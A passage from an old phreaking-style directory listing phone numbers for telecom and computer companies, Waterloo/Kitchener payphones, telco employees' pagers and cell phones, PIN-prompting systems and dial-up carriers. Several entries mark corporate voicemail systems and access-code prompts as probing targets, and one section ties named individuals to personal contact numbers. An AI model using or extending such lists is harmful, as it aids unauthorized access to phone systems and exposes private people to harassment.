+1-800-PRIMUS-2 Primus DSL Sales. +1-800-WEST-TEL West Group Telecommunications Department. +1-800-WILLIAMS Williams Communications Emergency line. +1-877-316-3900 Telephone Service. (Sherwood, AR) +1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada) +1-877-396-3939 Union Telecom. +1-877-465-BELL U.S. Long Distance. +1-877-466-BELL Network Services, Inc. +1-877-469-BELL Nevada Bell QuickService. +1-877-469-BELL Nevada Bell. +1-877-535-3456 Union Telecom. (English and Italian) +1-877-615-BELL Watstar Long Distance. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-703-0599 Primus Canada. +1-877-703-2248 Primus Canada. +1-877-703-2249 Primus Canada. +1-877-703-2250 Primus Canada. +1-877-703-2263 Primus Canada. +1-877-703-2264 Primus Canada. +1-877-703-2267 Primus Canada. +1-877-777-4681 (1-877-SPRINT-1) London Telecom Network. +1-877-819-4976 A1Call.com +1-877-GLOBAL-1 Audi Telecommunications. +1-877-MOBILECOM 800 Ideas.com Inc. +1-877-PRIMUS-1 Primus Canada. +1-877-PRIMUS-2 Primus Canada. (Arabic, French and English) +1-877-WINTEL-1 WinTel Communications. +1-877-WINTEL-2 WinTel Communications. +1-877-WINTEL-3 WinTel Communications. (French) +1-877-WINTEL-4 WinTel Communications. +1-877-WINTEL-5 WinTel Communications. +1-877-WINTEL-6 WinTel Communications. +1-877-WINTEL-8 WinTel Communications. +1-877-WINTEL-9 WinTel Communications. +1-888-216-6609 London Telecom Network. +1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-888-299-3840 TTI National Dispatch. (Telephone Company) +1-888-344-0400 Convergent Communications Repairs. +1-888-376-6843 Dial 800. +1-888-447-4653 Telephone On Hold Commercials. +1-888-539-5234 Ducor Telephone. (Ducor, CA) +1-888-553-8711 Telephone Support Systems. +1-888-564-6488 IT&T. (Telephone Company) +1-888-715-2355 Call Home America Ultimate 800. +1-888-774-6383 Prime Tel Communications, Inc. +1-888-777-6561 Florida Telephone. (West Palm Beach, FL) +1-888-825-2355 Connect America. +1-888-933-6786 NPA West. +1-888-ALPHANET Alphanet Solutions. +1-888-GLOBAL-1 Primus Canada. +1-888-ITSGREAT American Telecom Network. (sign up for toll free numbers) +1-888-MILLENNIUM 800 Ideas.com +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-SHAWPAGE Shaw Call Center. +1-888-TELE-COR Telecore. +1-888-WINTEL-1 WinTel Communications. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + + +------------------------------------------------------------------------------- + Computer Companies and Internet Services: +------------------------------------------------------------------------------- + +1-800-218-6850 MSN (Micro$oft Network) +1-800-221-4677 Micro$oft Seminars. +1-800-222-5161 IBM Program Headquarters. +1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back) +1-800-223-7065 Unisys. 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Preferred Accounts Division. +1-800-242-0080 Compaq Corporation. +1-800-245-4786 MSN (Micro$oft Network) +1-800-260-DELL DELL. +1-800-263-1121 Canon Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-2777 IBM Software Replication Services. +1-800-263-3394 Apple Canada. +1-800-267-1100 Compaq Canada. +1-800-267-5251 Compaq Services Canadian Customer Support Centre. +1-800-267-9975 OpenText Corporation. +1-800-268-1221 Hewlett-Packard Canada Ltd. +1-800-268-3997 NEC Canada. +1-800-289-3355 (1-800-BUY-DELL) DELL Canada. +1-800-296-7160 DELL Canada. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-325-9141 DELL Canada. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-336-5236 Texas Instruments. +1-800-339-6181 Toshiba. +1-800-344-4825 (1-800-DIGITAL) Compaq Canada. +1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals) +1-800-354-9000 Compaq Customer Services. +1-800-356-LOOK LOOK Pay Per View, TV and Internet Services. +1-800-359-9556 Samsung Telecommunications. +1-800-364-3577 3M Canada. +1-800-365-9012 Sun Microsystems Educational Services. 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(Requires UserId #) +1-800-463-9241 DELL Canada. +1-800-465-7748 IBM Products, Sales and Services Center. +1-800-465-7999 IBM Direct. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-486-4835 SCO Unix Technical Support. +1-800-509-1800 Novell's Customer Response Center. +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-524-3388 CompuServe. +1-800-539-6275 (1-800-LEXMARK) Lexmark Canada. +1-800-553-2447 Cisco Systems Technical Assistance Center. +1-800-553-6387 Cisco Systems Sales and Customer Service. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-3012 Gateway Direct Line. +1-800-555-6820 Hitachi Data Systems PC Products Support Services Team. +1-800-555-9786 Sun Microsystems. (Palo Alto, CA) +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-567-1616 Compaq Canada. +1-800-569-DELL DELL. +1-800-586-DELL DELL. +1-800-595-8480 Rogers@Home. +1-800-622-4786 Sun Microsystems Hardware Support and Information. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-647-2355 MinIowa PC Partner. +1-800-648-4452 American Microsystems. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (Data recovery) +1-800-661-7274 SeaChange (Internet Services) +1-800-663-0378 Toshiba Canada Notebook Computer Division. +1-800-665-2775 Apple Canada Dealer Locator Line. +1-800-696-8909 Internet Direct Corporate Business Solutions. +1-800-722-4786 Sun Microsystems Canada Customer Care Centre. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-7418 DELL Canada. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-746-DELL DELL. +1-800-752-0900 Hewlett-Packard. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-786-8688 Sun Microsystems Financing-Fax Line. +1-800-801-7869 Sun Microsystems Investor Relations Department. +1-800-827-0035 America Online. +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-827-2180 TOS Computer Systems. +1-800-828-3362 Novell Authorization Department. +1-800-841-8743 Computer Associates Client Services. +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-1810 Cypress Semiconductor. +1-800-858-4000 Novell Technical Support. +1-800-865-1115 Telecom Computer. +1-800-879-7660 Iomega's Instant Access Help System. +1-800-892-4429 Quanix Data Services. +1-800-900-DELL DELL. +1-800-921-DELL DELL. +1-800-942-6227 Mostly Mac Inc. +1-800-945-6111 Sun Microsystems Developer Connection. +1-800-948-DELL DELL. +1-800-999-DELL DELL Canada. +1-800-COMP-USA CompUSA Stores and Customer Service. +1-800-DEFENDER Net Zero. (free Internet service) +1-800-IOPENER Netpliance. +1-800-OK-CANON Canon Canada. +1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department. +1-800-PEOPLEPC People PC Computer and Internet Service. +1-800-PSI-1141 PSINet. +1-800-SCO-UNIX SCO Services Sales. +1-800-TOSHIBA Toshiba Computer Systems. +1-877-208-4717 Rogers@Home. +1-877-584-5551 AltaVista free access support line. (free Internet) +1-877-727-3375 MinIowa Help Desk. +1-877-754-5375 Sun Microsystems FAX. (Newark, CA) +1-877-EXECULINK ExecuLink Internet Services. +1-877-HOWEWORK Dell. +1-877-NOVELL-1 Novell. +1-877-SHARP-22 Sharp Canada Customer Care Center. +1-877-YOUR-MSN Micro$oft Network. +1-88-TELIGENT Teligent. +1-888-267-3856 Compaq. +1-888-288-4663 Rogers@Home Technical Support. +1-888-321-3737 VIF Internet. +1-888-4-SENTEX Sentex Communications. +1-888-453-9226 Lexmark Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-622-3289 Fastekk Systems. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-700-3279 InterTel Network Solutions. +1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer) +1-888-750-6990 Shaw@Home Technical Support. +1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA) +1-888-786-2310 Sun Microsystems. (Broomfield, CO) +1-888-786-3463 Sun Microsystems. (Palo Alto, CA) +1-888-791-0176 Primus Canada (iPrimus) +1-888-839-9295 IBM Haliburton Service Desk. +1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group. +1-888-858-4PSI PSINet Canada. +1-888-871-5111 Hewlett-Packard Computer Supplies. +1-888-DELL-PCS DELL Canada. +1-888-IBM-5800 IBM Small Business Solutions Center. +1-888-PSI-NET1 PSINet Limited. +1-888-PSI-NET2 PSINet Limited. +1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320) + + +------------------------------------------------------------------------------- + Miscellaneous Numbers: +------------------------------------------------------------------------------- + +(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect! +(303) 499-7111 Atomic Clock in Colorado. +(312) 408-1400 TU (Trans Union) +(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats) +(937) 445-4357 NCR HQ. (option 2) + +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-205-6700 Coolemail.com +1-800-221-2255 American Airlines VMS. +1-800-222-5000 AAA's Air, Hotel and Car Reservations. +1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB. +1-800-222-TIPS Crime Stoppers. +1-800-225-5101 Cable Guide Hotline. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-255-3700 Nintendo. +1-800-263-0656 NCR. +1-800-263-1136 Statistics Canada. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-1177 Canada Post. +1-800-267-7000 Royal Canadian Mint. (show me the money) +1-800-267-7777 Department of Justice. (Canada) +1-800-289-6241 Mag-Lite flashlights. +1-800-331-9922 General Motors Shareholder's Services. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-6000 Audix VMB. +1-800-353-0809 Call to remove yourself from Credit Card company lists. +1-800-360-2255 Century 21 Realty VMS. +1-800-387-4636 Nestle Canada. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-4-DOTCOM Network Solutions. (the Dot Com people) +1-800-400-VIEW Rogers Cable Viewer's Choice. +1-800-407-2247 Quaker Oats Company. +1-800-418-6245 Blockbuster's VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-0000 Systematic. (these people aren't very phreakymatic) +1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!) +1-800-452-9996 Statistics Canada. +1-800-461-2800 Canadian Tire Cardholder Services. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-465-1176 Meridian Mail VMB. +1-800-468-1714 Hershey Canada. +1-800-472-5451 Hershey Canada Inc. +1-800-488-7040 ADT Security. +1-800-501-1150 Hershey Canada Inc. (French) +1-800-501-6245 Database America's answering machine. +1-800-541-6821 Super Bureau Inc. (find documents on almost anyone) +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-6620 Meridian Mail VMB. +1-800-555-TELL Tell Me. (Menu Driven info - News, Weather, Time, etc.) +1-800-557-6245 Saloman Smith Barney VMS. +1-800-565-6317 Cadbury. +1-800-5678-HMV HMV Music Store. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-663-1243 Adbusters Media Foundation. (Culture Jamming) +1-800-663-7780 NCR Invoicing Department. +1-800-666-1474 American Coin Machine. +1-800-668-1417 Global Business Centers. +1-800-668-3979 Bestobell Canada Ltd (Toronto) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-672-3888 National Rifle Association Hotline. +1-800-678-8774 Source Resources (the source for finding people) +1-800-682-7654 Experion Credit checks/reports. (formerly TRW) +1-800-685-1101 CB (Equifax) +1-800-685-1102 CB (Equifax) +1-800-685-1103 CB (Equifax) +1-800-685-1104 CB (Equifax) +1-800-685-1111 CB (Equifax) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-688-6115 National Security Agency (NSA) INFOSEC Center. +1-800-707-0570 Ad Ventures Inc. +1-800-724-3780 Seiger Electronics. +1-800-724-6644 Ext. #22783700 Phone Losers of America VMB. +1-800-777-2255 Phone Works VMS. +1-800-786-2441 Tell Me. (News, Sports, Entertainment, etc.) +1-800-792-1000 Columbia House CD-ROM Club. +1-800-800-8800 Target Directory. +1-800-842-2255 American Express VMS (Audix) +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-909-3250 Meridian Mail VMB. +1-800-909-4672 National Rifle Association (NRA) +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-939-4484 ITI (Information Technology Institute) +1-800-949-6245 Phone Mail VMB. +1-800-954-6245 OcTel VMB. +1-800-CRIME-TV America's Most Wanted. +1-800-DIRECTV DirecTV. (satellite television) +1-800-FIRST-CALL First Call. (Cable Locate Service) +1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB) +1-800-GO-FEDEX FedEx. +1-800-KRAMERS The Real Kramer's Reality Tour in New York City. +1-800-MOLSON-1 Molson Canada. +1-800-NY-TIMES New York Times Customer Service. +1-800-O-CANADA Government of Canada. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-877-326-2826 NCR Bell Help Desk. +1-877-450-9488 Wraith Tech Industries Main Number. (24/7) +1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell) +1-877-724-2647 "Security" loser. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-940-BELL Bell Micro Products. +1-888-25-GREAT Cleveland Hotline. +1-888-256-5678 NCR AlertLine. +1-888-339-1688 MediaOne. +1-888-349-6972 Micron Electronics Technical Support. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-663-3279 Canada Trust Co. +1-888-751-8088 Guinness World Records. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-STAR-602 Star Choice Customer Service. (Satellite television) +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!) + +------------------------------------------------------------------------------- + Payphones: +------------------------------------------------------------------------------- + +(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O) +(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-9840 Lizzard Lounge Dallas, TX. (O) +(509) 332-0415 Payphone somewhere in Pullman, Washington. (A) +(519) 322-2033 Point Pelee Park. (A) (O) +(519) 570-9131 Kitchener, ON. +(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O) +(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O) +(519) 576-5239 King Street Kitchener, ON. (M) (O) +(519) 576-9444 King Street Kitchener, ON. (M) (O) +(519) 578-9318 Highland Road Kitchener, ON. (M) (O) +(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O) +(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O) +(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 746-1488 University of Waterloo Davis Centre. (M) (I) +(519) 746-1488 University of Waterloo. (M) (I) +(519) 746-1838 University of Waterloo Davis Centre. (DM) (I) +(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-2801 University of Waterloo Davis Centre. (M) (I) +(519) 746-2801 University of Waterloo. (M) (I) +(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-4606 University of Waterloo. (M) (I) +(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I) +(519) 746-6280 University of Waterloo. (M) (I) +(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-7107 WLU Alvin Wood Concourse. (M) (I) +(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-8751 University of Waterloo. (M) (I) +(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9094 University of Waterloo. (M) (I) +(519) 746-9113 University of Waterloo Davis Centre. (M) (I) +(519) 746-9115 University of Waterloo Davis Centre. (M) (I) +(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I) +(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9591 University of Waterloo Davis Centre. (M) (I) +(519) 746-9591 University of Waterloo. (M) (I) +(519) 746-9592 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9593 University of Waterloo Davis Centre. (M) (I) +(519) 746-9594 University of Waterloo Davis Centre. (M) (I) +(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O) +(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O) +(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O) +(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O) +(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O) +(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O) +(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O) +(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O) +(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O) +(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I) +(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O) +(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O) +(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O) +(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O) +(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O) +(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O) +(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O) +(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I) +(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I) +(519) 888-9046 Wilfred Laurier University Students Union. (M) (I) +(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-9309 Wilfred Laurier University Students Union. (M) (I) +(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O) +(519)-576-0354 Kitchener, Ontario (Paytel) +(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O) +(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O) +(780)-456-9843 'Waysafe', 109st Castledowns Road, Edmonton. (Paytel) +(780)-456-9983 127St/139Ave: Edmonton, Alberta, Canada. (Intellical-2) +(780)-483-9783 Edmonton, Alberta (Paytel) +(810) 784-9018 Armada, Michigan High School. (A) (I) +(905) 946-9953 Coffee Time in Markham, ON. (A) (I) + +(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium, +(I)=Indoors, (M)=Millennium, (O)=Outdoors. + +For more payphone numbers, visit www.payphone-directory.org + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(204) 941-7654 June Kirby MTS Director Corporate Communications. +(204) 941-8283 Brad Woods MTS Director Investor Relations. +(317) 265-2539 Jim L. Bayless with Ameritech Indiana Security. +(416) 350-0573 Bell Canada Media Relations (Irene Shimoda) +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 452-4626 Caroline Verboon of GPC. (cell phone) +(416) 453-5501 George Ross with Telecom Canada. (cell phone) +(416) 581-3311 Bell Canada Media Relations (Don Hogarth) +(416) 581-3311 irene.shimoda@bell.ca +(416) 598-0055 GPC Communications (Caroline Verboon) +(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda) +(514) 391-2007 Bell Canada Media Relations (Louis Arseneault) +(514) 786-3655 shirley.bishop@bell.ca +(514) 786-3908 Jean-Charles Robillard with Bell Canada. +(514) 870-2488 Bell Canada Investor Relations (Frank Miscio) +(514) 918-3617 Jean-Charles Robillard (cell phone) +(604) 432-2663 Doug Strachan with TELUS. +(613) 660-1186 Bell Canada's Voice Information Processing System. +(613) 660-2355 Bell Canada's Voice Information Processing System. +(613) 660-6708 Roxanne Halverson with Bell Canada. +(613) 660-6709 Bell Canada's Voice Information Processing System. +(613) 660-6710 Stentor Communications. (Isabelle Lanteigne) +(613) 660-6711 Stentor Communications. (French employee) +(613) 660-6712 Stentor Communications. (Louisse) +(613) 660-6713 Stentor Emergency Operations Centre. +(613) 660-6982 Stentor 2000 Information Line. + +1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine) +1-800-407-2355 John with Southwestern Bell Wireless. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-483-6390 Scott's Pager (Qwest Communications) +1-800-483-7695 Scott from Americom's Pager/Voicemail. +1-800-493-2603 Kimberly Smith at Qwest Communications. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-800-661-0480 Debbie Southerland of Bell ActiMedia. +1-800-808-8334 David Miller with MCI WorldCom in Tucson. (Answering Machine) +1-800-939-6680 John Ryan of AT&T Network Engineering's Pager. +1-877-391-2007 Bell Canada Media Relations (Louis Arseneault) +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +(416) 350-9024 "Enter your PIN number now." +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-309-6678 "Please enter your PIN number now." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-525-7877 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-749-4200 "Enter the PIN number you wish." +1-800-827-4780 "Please enter your PIN number." +1-800-827-9910 SkyTel. "Enter the PIN number you wish." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." +1-888-684-4466 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +(416) 361-3028 MCI/CompuServe Dialup. +(416) 594-1121 SprintNet Dialup. +(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines) +(905) 470-7122 Toshiba Canada BBS. +1-800-222-0555 Tymnet Dialup. +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-565-8805 Datapac WATS access number. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-800-843-0378 MCI/CompuServe Dialup. +1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS, Messaging and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-225-5152 Nationwide Messaging. +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-235-1414 National Telewire Message Centre. +1-800-244-7464 Scot Forge. (Mobile Telephone Equipment) +1-800-258-2669 Answer America. (Telephone Answering Service) +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center. +1-800-267-9010 Message Center Dispatch. +1-800-270-6000 Cleartel's Universal Roaming Service for Personal 800 Users. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-320-3488 Motorola Radio Network Services. (San Diego, CA) +1-800-329-7402 ProPage (Paging and Voicemail) +1-800-331-6456 Motorola Cellular. +1-800-333-6414 Answerfone, Inc. (Answering Service) +1-800-346-0196 Nationwide Messaging. +1-800-361-1319 